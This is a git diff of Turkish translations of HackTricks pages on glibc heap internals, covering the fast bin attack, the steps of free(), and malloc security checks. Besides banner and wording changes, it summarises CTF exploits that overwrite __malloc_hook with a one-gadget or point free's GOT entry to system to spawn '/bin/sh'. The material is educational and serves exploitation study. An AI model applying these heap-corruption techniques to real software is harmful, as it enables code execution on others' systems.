-Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) ile -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/fast-bin-attack.md b/binary-exploitation/libc-heap/fast-bin-attack.md index 58f7cbb09..2a01de462 100644 --- a/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/binary-exploitation/libc-heap/fast-bin-attack.md @@ -1,28 +1,29 @@ # Hızlı Bin Saldırısı +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -Hızlı bin nedir hakkında daha fazla bilgi için bu sayfaya bakın: +Hızlı bin nedir hakkında daha fazla bilgi için bu sayfayı kontrol edin: {% content-ref url="bins-and-memory-allocations.md" %} [bins-and-memory-allocations.md](bins-and-memory-allocations.md) {% endcontent-ref %} -Hızlı bin tek yönlü bir bağlı liste olduğundan, diğer binalardan çok daha az korumaya sahiptir ve sadece **bir serbest bırakılan hızlı bin parçasındaki bir adresi değiştirmek**, daha sonra **herhangi bir bellek adresinde bir parça ayırmak için yeterlidir**. +Hızlı bin, tek yönlü bağlı liste olduğundan diğer tipteki depolama alanlarına göre çok daha az korumaya sahiptir ve sadece **bir serbest bırakılmış hızlı bin** parçasındaki bir adresi değiştirmek, daha sonra **herhangi bir bellek adresinde bir parça tahsis etmenin mümkün olmasını sağlar**. Özetle: @@ -44,7 +45,7 @@ ptr3 = malloc(0x20); // This will get a chunk in the
which could be ab ``` {% endcode %} -Çok iyi açıklanmış bir kod içeren tam bir örneği [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html) adresinden bulabilirsiniz: +Çok iyi açıklanmış bir kodda tam bir örnek bulabilirsiniz: [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html): ```c #include #include @@ -141,38 +142,39 @@ Eğer global değişken **`global_max_fast`**'in değeri büyük bir sayıyla ü * **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:** * Parçalar tahsis edilebilir, serbest bırakılabilir, içerikleri okunabilir ve doldurulabilir (bir taşma güvenlik açığı ile). -* **Bilgi sızdırma için parça birleştirme**: Tekniğin temelinde taşmayı kötüye kullanarak sahte bir `prev_size` oluşturmak vardır, böylece bir önceki parçalar daha büyük bir parçanın içine yerleştirilir, bu nedenle başka bir parça serbest bırakıldığında, içinde başka bir parça bulunan daha büyük bir parça tahsis edildiğinde, verileri yazdırmak ve libc (`main_arena+88`) adresini sızdırmak mümkün olur. -* **Malloc hook üzerine yazma**: Bunun için ve önceki örtüşme durumunu kötüye kullanarak, aynı belleğe işaret eden 2 parçaya sahip olmak mümkündü. Dolayısıyla, bunları ikisini de serbest bırakarak (korumaları atlamak için araya başka bir parça serbest bırakarak), aynı parçayı hızlı binde 2 kez elde etmek mümkün olmuştur. Sonra, tekrar tahsis edilmesi, bir sonraki parçanın adresini `__malloc_hook`'un biraz öncesine işaret edecek şekilde üzerine yazması (böylece malloc'un bir boş boyut olarak düşündüğü bir tamsayıya işaret etmesi - başka bir atlatma), bunu tekrar tahsis etmesi ve ardından malloc hook adreslerini alacak başka bir parça tahsis etmesi mümkün olmuştur.\ -Son olarak bir **tek araç** oraya yazılmıştır. +* **Bilgi sızdırma için parçayı birleştir**: Tekniğin temelinde taşmayı kötüye kullanarak sahte bir `prev_size` oluşturmak vardır, böylece bir önceki parçalar daha büyük bir parçanın içine yerleştirilir, bu nedenle başka bir parçayı içeren daha büyük bir parça tahsis edildiğinde, verileri yazdırmak ve libc (`main_arena+88`) adresini sızdırmak mümkün olur. +* **Malloc hook üzerine yazma**: Bunun için ve önceki üst üste gelme durumunu kötüye kullanarak, aynı belleğe işaret eden 2 parçaya sahip olmak mümkündü. Dolayısıyla, bunları ikisini de serbest bırakarak (korumaları atlamak için araya başka bir parça serbest bırakarak) aynı parçayı hızlı binde 2 kez elde etmek mümkündü. Sonra, tekrar tahsis edilebilir, bir sonraki parçanın adresini `__malloc_hook`'un biraz öncesine işaret edecek şekilde üzerine yazmak (böylece malloc'un bir boş boyut olarak düşündüğü bir tamsayıya işaret etmesi - başka bir atlatma), bunu tekrar tahsis etmek ve ardından malloc hook adreslerini alacak başka bir parça tahsis etmek mümkün olur.\ +Sonunda bir **tek araç** oraya yazılmış olur. * **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:** -* Bir parça serbest bırakıldığında, işaretçilerin tekrar kullanılabilir ve tekrar serbest bırakılabilir olması nedeniyle bir bellek taşması ve kullanımdan sonra serbest bırakma ve çift serbest bırakma vardır. -* **Libc bilgi sızıntısı**: Sadece bazı parçaları serbest bırakın ve bunlar ana arena konumunun bir kısmına bir işaretçi alacak şekilde olacaktır. Serbest bırakılan işaretçileri tekrar kullanabileceğinizden, bu adresi okuyun. -* **Hızlı bin saldırısı**: Tahsis edilen tüm parçaların işaretçileri bir dizi içinde depolanır, bu nedenle birkaç hızlı bin parçasını serbest bırakabilir ve en sonuncusunda adresi bu işaretçi dizisinin biraz öncesine işaret edecek şekilde üzerine yazabiliriz. Sonra, aynı boyutta birkaç parça tahsis ederiz ve önce meşru olanı ve ardından işaretçi dizisini içeren sahte olanı alırız. Şimdi bu tahsis işaretçilerini üzerine yazabiliriz ve `free`'nin GOT adresini `system`'e işaret etmesini sağlayabiliriz ve ardından chunk 1'e `"/bin/sh"` yazabiliriz ve ardından `free(chunk1)` çağrısını yapabiliriz ki bu da aslında `system("/bin/sh")`'yi çalıştıracaktır. +* Bir parça serbest bırakıldığında, aşırı kullanım ve çift serbest bırakma olasılığı vardır çünkü serbest bırakılan bir parçayı yeniden kullanmak ve yeniden serbest bırakmak mümkündür. +* **Libc bilgi sızıntısı**: Sadece bazı parçaları serbest bırakın ve bunlar ana arena konumunun bir kısmına bir işaretçi alacak şekilde olacaktır. Serbest bırakılan işaretçileri yeniden kullanabileceğinizden, bu adresi okuyun. +* **Hızlı bin saldırısı**: Tahsis edilen tüm parçaların işaretçileri bir dizi içinde depolanır, bu nedenle birkaç hızlı bin parçasını serbest bırakabilir ve en sonuncusunda adresi bu işaretçi dizisinin biraz öncesine işaret edecek şekilde üzerine yazabiliriz. Sonra, aynı boyutta birkaç parça tahsis ederiz ve önce gerçek parçayı ve ardından işaretçi dizisini içeren sahte parçayı alırız. Şimdi bu tahsis işaretçilerini üzerine yazarak `free`'nin GOT adresini `system`'e işaret etmesini sağlayabiliriz ve ardından chunk 1'e `"/bin/sh"` yazarak `free(chunk1)` çağrısı yapabiliriz ki bu da aslında `system("/bin/sh")`'i çalıştıracaktır. * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html) -* Sıralanmamış parçaları birleştirmek ve bir libc bilgi sızıntısı elde etmek için bir bayt taşmasını kötüye kullanma örneği ve ardından malloc hook'u bir tek araç adresiyle üzerine yazmak için hızlı bin saldırısı gerçekleştirme örneği +* Sıralanmamış parçaları birleştirmek ve bir libc bilgi sızıntısı elde etmek için bir bayt taşmasını kötüye kullanma örneği ve ardından malloc hook'u bir tek araç adresiyle üzerine yazmak için hızlı bin saldırısını gerçekleştirmek için bir örnek * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html) -* Bir libc adresi ve bir PIE adresi sızdırmak için sıralanmamış parçaları kötüye kullanma ve UAF'ı kötüye kullanma sonrasında, bu CTF'nin sömürüsü, kontrol edilen parçaların bulunduğu bir yere bir parça tahsis etmek için hızlı bin saldırısı kullandı, böylece belirli işaretçileri üzerine yazarak GOT'ta bir tek araç yazmak mümkün oldu -* Bir hızlı bin saldırısının sıralanmamış bir parça saldırısı aracılığıyla kötüye kullanıldığına dikkat edin: -* Hızlı bin saldırıları gerçekleştirmeden önce genellikle libc/bellek adreslerini sızdırmak için serbest listeleri kötüye kullanmak yaygındır (gerektiğinde). +* Bir libc adresi ve bir PIE adresi sızdırmak için sıralanmamış parçaları kötüye kullanma ve UAF ile bilgi sızdırmak için bir bilgi sızıntısı sonrası, bu CTF'nin sömürüsü, kontrol edilen parçaların bulunduğu yere bir parça tahsis etmek için hızlı bin saldırısını kullandı, böylece belirli işaretçileri üzerine yazarak GOT'ta bir tek araç yazmak mümkün oldu +* Bir hızlı bin saldırısının sıralanmamış bir parça saldırısı aracılığıyla kötüye kullanıldığı bir örneği bulabilirsiniz: +* Hızlı bin saldırıları gerçekleştirmeden önce genellikle libc/heap adreslerini sızdırmak için serbest listeleri kötüye kullanmanın yaygın olduğunu unutmayın (gerektiğinde). * [**Robot Fabrikası. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) * Yalnızca `0x100`'den büyük boyutta parçalar tahsis edebiliriz. -* Bir Sıralanmamış Bin saldırısı kullanarak `global_max_fast`'i üzerine yazma (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 biti değiştirmemiz gerekmektedir, ancak 16 biti değiştirmemiz gerekmektedir). +* Bir Sıralanmamış Bin saldırısı kullanarak `global_max_fast`'ı üzerine yazma (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 biti değiştirmemiz gerektiği için, ancak 16 biti değiştirmemiz gerekmektedir). * Global bir parça dizisini değiştirmek için Hızlı Bin saldırısı. Bu, GOT'u değiştirmeye ve bazı işlevleri `system`'e işaret etmeye olanak tanıyan bir keyfi okuma/yazma ilkesi sağlar. {% content-ref url="unsorted-bin-attack.md" %} [unsorted-bin-attack.md](unsorted-bin-attack.md) {% endcontent-ref %} +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin. -* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/heap-memory-functions/README.md b/binary-exploitation/libc-heap/heap-memory-functions/README.md index bc0481f7d..3429fc11f 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/README.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/README.md @@ -1,17 +1,18 @@ -# Yığın Bellek Fonksiyonları +# Heap Bellek Fonksiyonları + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## diff --git a/binary-exploitation/libc-heap/heap-memory-functions/free.md b/binary-exploitation/libc-heap/heap-memory-functions/free.md index a9ae41f05..c74f7cbc9 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/free.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/free.md @@ -1,38 +1,39 @@ # free +{% hint style="success" %} +AWS Hacking'ı öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** [**katılın**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek hackleme püf noktalarını paylaşın.
+{% endhint %} -## Free Sipariş Özeti +## Ücretsiz Sipariş Özeti -(Bu özetde hiçbir kontrol açıklanmamıştır ve kısalık için bazı durumlar atlanmıştır) +(Bu özetde hiçbir kontrol açıklanmamıştır ve kısa olması için bazı durumlar atlanmıştır) -1. Eğer adres null ise hiçbir şey yapma -2. Eğer parça mmap edilmişse, mummap et ve işlemi bitir +1. Adres null ise hiçbir şey yapma +2. Chunk mmap edilmişse, onu munmap et ve işlemi bitir 3. `_int_free`'yi çağır: -1. Mümkünse, parçayı tcache'e ekle -2. Mümkünse, parçayı hızlı bin'e ekle -3. Gerekirse parçayı birleştirmek için `_int_free_merge_chunk`'ı çağır ve sırasız listeye ekle +1. Mümkünse, chunk'ı tcache'e ekle +2. Mümkünse, chunk'ı fast bin'e ekle +3. Gerekirse chunk'ı birleştirmek için `_int_free_merge_chunk`'ı çağır ve onu sırasız listeye ekle ## \_\_libc\_free `Free`, `__libc_free`'yi çağırır. -* Geçirilen adres Null (0) ise hiçbir şey yapma. +* Geçilen adres Null (0) ise hiçbir şey yapma. * İşaretçi etiketini kontrol et -* Eğer parça `mmaped` ise, `mummap` et ve işlemi bitir -* Değilse, renk ekle ve üzerine `_int_free`'yi çağır +* Chunk mmap edilmişse, munmap et ve işlemi bitir +* Değilse, renk ekle ve üzerine `_int_free` çağır
@@ -92,10 +93,14 @@ libc_hidden_def (__libc_free) ### \_int\_free başlangıç -Belirli kontrollerle başlar ve şunları sağlar: +Belirli kontrollerle başlar: * **İşaretçinin** **hizalandığından** emin olur veya hata tetikler `free(): geçersiz işaretçi` * **Boyutun** minimumdan küçük olmadığından ve **boyutunun** de **hizalandığından** emin olur veya hata tetikler: `free(): geçersiz boyut` + +
+ +_int_free başlangıç ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28 @@ -129,7 +134,7 @@ check_inuse_chunk(av, p); İlk olarak bu parçayı ilgili tcache'e ayırmaya çalışacaktır. Ancak önceden bazı kontroller yapılır. Serbest bırakılan parçanın aynı dizindeki tüm tcache parçaları üzerinden dönecektir ve: -* Giriş sayısı `mp_.tcache_count`'dan fazlaysa: `free(): tcache'de fazla parça tespit edildi` +* Giriş sayısı `mp_.tcache_count`'dan fazlaysa: `free(): tcache'de çok fazla parça tespit edildi` * Giriş hizalanmamışsa: `free(): tcache 2'de hizalanmamış parça tespit edildi` * Serbest bırakılan parça zaten serbest bırakılmış ve tcache'de bir parça olarak mevcutsa: `free(): tcache 2'de çift serbest bırakma tespit edildi` @@ -185,9 +190,9 @@ return; ### \_int\_free hızlı bin -Öncelikle, boyutun hızlı bin için uygun olup olmadığını kontrol edin ve onu üst parça ile yakın bir şekilde ayarlayabilir miyiz diye kontrol edin. +Öncelikle, boyutun hızlı bin için uygun olup olmadığını kontrol edin ve onu üst parça ile yakın bir şekilde ayarlayabilir miyiz kontrol edin. -Ardından, serbest bırakılan parçayı hızlı bini en üste eklerken bazı kontroller yapın: +Ardından, serbest bırakılan parçayı hızlı bini en üste ekleyin ve bazı kontroller yaparken: - Parçanın boyutu geçersiz ise (çok büyük veya küçük) tetikleyin: `free(): invalid next size (fast)` - Eklenen parça zaten hızlı binin en üstünde ise: `double free or corruption (fasttop)` @@ -313,7 +318,7 @@ munmap_chunk (p); ## \_int\_free\_merge\_chunk -Bu işlev, P boyutundaki CHUNK'ı komşularıyla birleştirmeye çalışacaktır. Sonuçta oluşan parçayı sıralanmamış kova listesine koyar. +Bu işlev, P boyutundaki parçayı komşularıyla birleştirmeye çalışacaktır. Sonuçta oluşan parçayı sıralanmamış kova listesine koyar. Bazı kontroller yapılır: @@ -321,7 +326,7 @@ Bazı kontroller yapılır: * Eğer bir sonraki parça arena sınırlarının dışında ise: `double free or corruption (out)` * Eğer parça kullanılmış olarak işaretlenmemişse (`prev_inuse`'da bulunan bir sonraki parçada): `double free or corruption (!prev)` * Eğer bir sonraki parçanın boyutu çok küçük veya çok büyükse: `free(): invalid next size (normal)` -* Eğer önceki parça kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, prev\_size önceki parçada belirtilen boyuttan farklıysa: `corrupted size vs. prev_size while consolidating` +* Eğer önceki parça kullanılmıyorsa, birleştirmeye çalışacaktır. Ancak, eğer prev\_size önceki parçada belirtilen boyuttan farklıysa: `corrupted size vs. prev_size while consolidating`
@@ -375,16 +380,17 @@ _int_free_maybe_consolidate (av, size); ```
+{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 4e6b5219a..6af215364 100644 --- a/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -1,18 +1,19 @@ # Heap Fonksiyonları Güvenlik Kontrolleri +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
+{% endhint %} ## unlink @@ -22,7 +23,7 @@ Daha fazla bilgi için kontrol edin: [unlink.md](unlink.md) {% endcontent-ref %} -Yapılan kontrollerin özeti şunlardır: +Bu, yapılan kontrollerin özeti: * Belirtilen blok boyutunun, bir sonraki blokta belirtilen `prev_size` ile aynı olup olmadığını kontrol edin * Hata mesajı: `corrupted size vs. prev_size` @@ -54,21 +55,21 @@ Daha fazla bilgi için kontrol edin: * **Konsolidasyon sırasında yapılan kontroller** her hızlı blok bloğu için gerçekleştirilir: * Blok hizalanmamışsa tetikleyin: * Hata mesajı: `malloc_consolidate(): unaligned fastbin chunk detected` -* Bloğun, içinde bulunduğu dizine göre farklı bir boyuta sahip olması durumunda: +* Bloğun, içinde bulunduğu dizine göre farklı bir boyutta olması durumunda: * Hata mesajı: `malloc_consolidate(): invalid chunk size` -* Önceki blok kullanımda değilse ve önceki bloğun boyutu prev\_chunk tarafından belirtilenden farklıysa: +* Önceki blok kullanımda değilse ve önceki bloğun boyutu prev\_chunk tarafından belirtilen boyuttan farklıysa: * Hata mesajı: `corrupted size vs. prev_size in fastbins` -* **Sırasız blok araması sırasında yapılan kontroller**: +* **Karışık blok araması sırasında yapılan kontroller**: * Blok boyutu garipse (çok küçük veya çok büyük): * Hata mesajı: `malloc(): invalid size (unsorted)` * Sonraki blok boyutu garipse (çok küçük veya çok büyük): * Hata mesajı: `malloc(): invalid next size (unsorted)` -* Bir sonraki bloğun belirttiği önceki blok boyutu, bloğun boyutundan farklıysa: +* Bir sonraki bloğun belirttiği önceki boyut, bloğun boyutundan farklıysa: * Hata mesajı: `malloc(): mismatching next->prev_size (unsorted)` * Eğer 